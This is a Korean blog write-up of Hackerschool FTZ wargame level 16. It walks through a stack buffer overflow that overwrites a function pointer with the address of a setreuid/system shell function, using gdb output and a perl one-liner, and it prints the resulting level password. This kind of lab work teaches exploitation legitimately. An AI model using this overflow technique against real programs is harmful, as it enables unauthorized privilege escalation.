FTZ_level16
[level16@ftz level16]$ bash2 [level16@ftz level16]$ cat hint
#include <stdio.h>
void shell() { setreuid(3097,3097); system("/bin/sh"); }
void printit() { printf("Hello there!\n"); }
main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); } |
bash2 띄우고~ 힌트를 확인해보겠습니다!
printit함수의 호출부분( call(); )이 있으니 그 부분에서 shell 함수를 호출하도록 바꿔주겠습니다.
gdb를 이용해 분석해보겠습니다.
(gdb) disas main Dump of assembler code for function main: 0x08048518 <main+0>: push %ebp 0x08048519 <main+1>: mov %esp,%ebp 0x0804851b <main+3>: sub $0x38,%esp 0x0804851e <main+6>: movl $0x8048500,0xfffffff0(%ebp) 0x08048525 <main+13>: sub $0x4,%esp 0x08048528 <main+16>: pushl 0x80496e8 0x0804852e <main+22>: push $0x30 0x08048530 <main+24>: lea 0xffffffc8(%ebp),%eax 0x08048533 <main+27>: push %eax 0x08048534 <main+28>: call 0x8048384 <fgets> 0x08048539 <main+33>: add $0x10,%esp 0x0804853c <main+36>: mov 0xfffffff0(%ebp),%eax 0x0804853f <main+39>: call *%eax 0x08048541 <main+41>: leave 0x08048542 <main+42>: ret
(gdb) p shell $1 = {<text variable, no debug info>} 0x80484d0 <shell> (gdb) p printit $2 = {<text variable, no debug info>} 0x8048500 <printit>
|
먼저 main+3을 보니 0x38( 10진수로 56바이트)의 메모리를 확보하네요ㅎㅎ
main+6을 보면 0x8048500, printit 함수의 주소를 ebp-16지점( *call )에 저장하는게 보이네요
이 부분에 저장되는 주소를, shell 함수의 주소로 바꿔주겠습니다.
shell 함수의 시작주소는 0x80484d0이네요ㅎㅎ
RET [4] |
SFP [4] |
dummy [4] |
crap [4] |
dummy [4] |
* call [4] |
dummy [20] |
buf [20] |
깔끔하게 56바이트 모두 shell함수의 주소로 덮어쓰는 방법으로 공격하겠습니다!
[level16@ftz level16]$ (perl -e 'print "\xd0\x84\x04\x08"x14'; cat) | ./attackme
id uid=3097(level17) gid=3096(level16) groups=3096(level16) my-pass
Level17 Password is "king poetic”.
|
level17의 셸을 획득했습니다~
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level18 -> level19 ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level17 -> level18 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level15 -> level16 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level14 -> level15 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level13 -> level14 ) by ORANG (1) | 2014.10.20 |